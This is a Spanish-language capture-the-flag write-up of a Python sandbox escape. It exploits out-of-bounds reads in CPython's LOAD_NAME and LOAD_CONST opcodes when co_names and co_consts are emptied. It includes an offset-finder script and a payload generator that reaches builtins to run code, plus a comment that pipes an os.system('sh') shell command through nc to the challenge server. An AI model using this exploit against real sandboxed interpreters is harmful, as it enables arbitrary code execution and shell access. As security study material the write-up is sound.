Podemos usar la función de lectura OOB en el opcode LOAD_NAME / LOAD_CONST para obtener algún símbolo en la memoria. Lo que significa usar trucos como (a, b, c, ... cientos de símbolos ..., __getattribute__) if [] else [].__getattribute__(...) para obtener un símbolo (como un nombre de función) que desees.
Luego simplemente crea tu exploit.
Resumen
El código fuente es bastante corto, ¡solo contiene 4 líneas!
Puedes introducir código Python arbitrario, y se compilará en un objeto de código Python. Sin embargo, co_consts y co_names de ese objeto de código serán reemplazados por una tupla vacía antes de evaluar ese objeto de código.
Por lo tanto, de esta manera, todas las expresiones que contienen constantes (por ejemplo, números, cadenas, etc.) o nombres (por ejemplo, variables, funciones) podrían causar una falla de segmentación al final.
Lectura fuera de límites
¿Cómo ocurre la falla de segmentación?
Comencemos con un ejemplo simple, [a, b, c] podría compilar en el siguiente bytecode.
Pero ¿qué sucede si co_names se convierte en una tupla vacía? El opcode LOAD_NAME 2 sigue ejecutándose e intenta leer el valor de esa dirección de memoria donde originalmente debería estar. Sí, esto es una característica de lectura fuera de límites.
El concepto principal para la solución es simple. Algunos opcodes en CPython, como LOAD_NAME y LOAD_CONST, son vulnerables (?) a la lectura fuera de límites.
Recuperan un objeto del índice oparg de la tupla consts o names (así es como se llaman co_consts y co_names internamente). Podemos consultar el siguiente fragmento corto sobre LOAD_CONST para ver qué hace CPython cuando procesa el opcode LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
De esta manera podemos usar la función OOB para obtener un "nombre" desde un desplazamiento de memoria arbitrario. Para asegurarnos de qué nombre tiene y cuál es su desplazamiento, simplemente sigue intentando LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Y podrías encontrar algo en aproximadamente oparg > 700. También puedes intentar usar gdb para echar un vistazo a la disposición de la memoria, por supuesto, ¿pero no crees que sería más fácil?
Generando el Exploit
Una vez que obtengamos esos desplazamientos útiles para nombres / constantes, ¿cómo obtenemos un nombre / constante a partir de ese desplazamiento y lo usamos? Aquí tienes un truco para ti:
Supongamos que podemos obtener un nombre __getattribute__ desde el desplazamiento 5 (LOAD_NAME 5) con co_names=(), entonces simplemente realiza lo siguiente:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Nota que no es necesario nombrarlo como __getattribute__, puedes nombrarlo de forma más corta o extraña
Puedes entender la razón simplemente viendo su bytecode:
Observa que LOAD_ATTR también recupera el nombre de co_names. Python carga nombres desde el mismo desplazamiento si el nombre es el mismo, por lo que el segundo __getattribute__ todavía se carga desde el desplazamiento=5. Usando esta característica podemos usar nombres arbitrarios una vez que el nombre está en la memoria cercana.
Para generar números debería ser trivial:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Script de Explotación
No utilicé constantes debido al límite de longitud.
Primero aquí hay un script para encontrar esos desplazamientos de nombres.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Y lo siguiente es para generar el exploit real de Python.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Básicamente hace las siguientes cosas, para esas cadenas que obtenemos del método __dir__: